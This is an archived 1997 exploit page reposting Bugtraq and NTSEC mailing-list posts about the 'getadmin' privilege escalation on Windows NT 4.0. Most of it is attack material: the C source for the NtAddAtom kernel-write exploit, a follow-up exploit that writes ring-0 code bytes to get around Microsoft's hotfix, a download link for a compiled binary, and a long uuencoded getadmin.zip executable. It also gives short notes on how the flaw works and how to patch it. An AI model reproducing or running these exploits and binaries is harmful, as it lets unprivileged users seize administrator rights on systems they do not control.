The ever popular getadmin exploit
Description: | Someone posted this executable to several newsgroups. It allows any normal user to join the administrator group! Woop! M$ tried to fix the bug, but, not surprisingly, their hotfix didn't help. |
Author: | Konstantin Sobolev |
Compromise: | Become administrator on a NT box |
Vulnerable Systems: | NT 4.0, I think service pack 3 must be installed. |
Date: | 4 July 1997 |
Notes: | First I give the source to the program, then the source to the program which works even after the hotfix. Then I give the uuencoded getadmin.zip which was posted to the newsgroups. |
Date: Tue, 8 Jul 1997 11:19:00 -0400
From: Christopher Klaus <cklaus@ISS.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: GetAdmin NT exploit
Windows NT 4.0 Exploit: Allows intruders to become administrators on
machine.
Works on Windows 4.0 with Service Pack 3 installed.
Web: http://cmp.phys.msu.su/ntclub/pub/code.htm
GetAdmin source code.
Here's my program GetAdmin.
This program can get administrator rights without any special
privileges. Simly run GetAdmin or GetAdmin account_name from command line.
If you not enter
account_name current account will be used.
How it works?
Here's string that done all in getadmin:
ChangeNtGlobalFlag(GetNtGlobalFlagPtr()); After that you can open any
process in system, becose function NtOpenProcess
not checks for SE_DEBUG_PRIVILEGE if bit in NtGlobalFlag+2 is set.After it
, program injects dll in winlogon process. Winlogon have SYSTEM account so
it can
add / remove user in administrator group.
Function ChangeNtGlobalFlag :
BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag)
{
DWORD callnumber = 0x3; //NtAddAtom
DWORD stack[32] ;
int i;
DWORD handle=0;
CHAR string[255];
if(!pNtGlobalFlag) return 0;
stack[0] = (DWORD)string;
stack[1] = (DWORD)&handle; //pNtGlobalFlag;
for(i=0;i ? 0x100;i++)
{
sprintf(string,"NT now cracking... pass %d",i);
if(handle & 0xf00){
stack[1] = (DWORD)pNtGlobalFlag+1;
}
__asm{
mov eax, callnumber;
mov edx, stack;
lea edx,dword ptr [stack];
int 0x2e;
}
if( stack[1] == pNtGlobalFlag+1) break;
}
return TRUE;
}
Bug is that subfunction in NtAddAtom not checks address of output . So
possible to write in any space of kernel memory. Of curse it not necessary
inject dll to
winlogon, to get admin rights you can simply patch same place of ntoskernel
, or replace process token and e.t.c.If you have get full source code
please click here.
Preventing the Attack:
Only one really way : patch ntoskernel and replace function NtAddAtom
so it checks for valid address.
You can remove all access from ntoskernel but it possible to enter
fixed address of NtGlobalFlag in getadmin. And exist other ways to get
administrator rights if you
can write to kernel memory.
I informed Microsoft about this 30 Jun 97.
Konstantin Sobolev.
Date: Fri, 11 Jul 1997 03:45:18 -0500
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: It's not over yet.
From: Costin RAIU <craiu@gecad.ro>
Subject: [NTSEC] It's not over yet.
Hi everyone,
We all know Microsoft released the getadmin hotfix.
However after a few hours of work, I was able to create a
new exploit which also works with this patch Microsoft just
realeased.
The problem is now in eax=4346 which is handled somewhere in
win32k.sys.
There are more (I found 4) vulnerable functions, but not so interesting
like this one. By calling the function in a special way, you can
get your own code get executed at ring 0 privilege. My program will
simply change the byte of NtGlobalFlag to the DEBUG value, so you
can run GetAdmin (which after the fix is not working anymore).
Since compiling the source is very difficult, the compiled binary
is avaible at http://www.gecad.ro/~craiu/cr4.exe
This program was tested on 2 Windows NT patched machines, and worked
ok. (I got the Admin rights)
Here's the source of my program:
/*
Run user code at ring 0
Author: Costin RAIU <craiu@gecad.ro>
*/
void* a[2];
void main(void) {
int i;
for (i=0;i<2;i++) a[i]=(void*)0;
*(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],c1h
*(char*)(0x4080a5)=0x0d;
*(char*)(0x4080a6)=0xb6;
*(char*)(0x4080a7)=0xc2;
*(char*)(0x4080a8)=0x14;
*(char*)(0x4080a9)=0x80;
*(char*)(0x4080aa)=0xc1;
*(char*)(0x4080ab)=0xcf;
_asm
{
mov eax,4346
mov edx,offset a
int 2eh
}
}
Due to the nature of this bug, is very important the address of
the mov eax,4346 instruction must be 004080a4. I am not an
expert in the PE structure, but my cr4.exe program will always
run at that address on my test machine. An assembler version
might be very interesting, but there are other things to do
now. (like checking eax=187) If any of you guys has better assembler
skills, I would like to see a nice asm version of my program.
OBJE: 4080a4 is somewhere in the program space, but it is not
used (debug info/data space etc...) You can probably conroll
the address of the retf (which btw. it is located at
a0020b87h)
After doing the "or" instruction, and IRETD is required to
continue the execution of the function, otherwise the kernel will
crash.
bye,
c0s
Costin RAIU, Data Security Expert
E-MAIL : BUSINESS mailto:craiu@gecad.ro, PERSONAL craiu@usa.net
PGP Key : http://www.gecad.ro/~craiu/craiu.asc (or search www.pgp.com)
KeyID : 2048/DD35A295 Costin RAIU <craiu@gecad.ro>
Key fingerprint = FD 14 2A 90 64 41 58 9A 6B 34 47 D8 C5 E2 F4 5C
begin 600 getadmin.zip
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
MF!2@L'&]8!62GPFL-B7E8UU\CYKO9Z#&YM\!=3H<`NB2D(	>PDX72V_Q
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
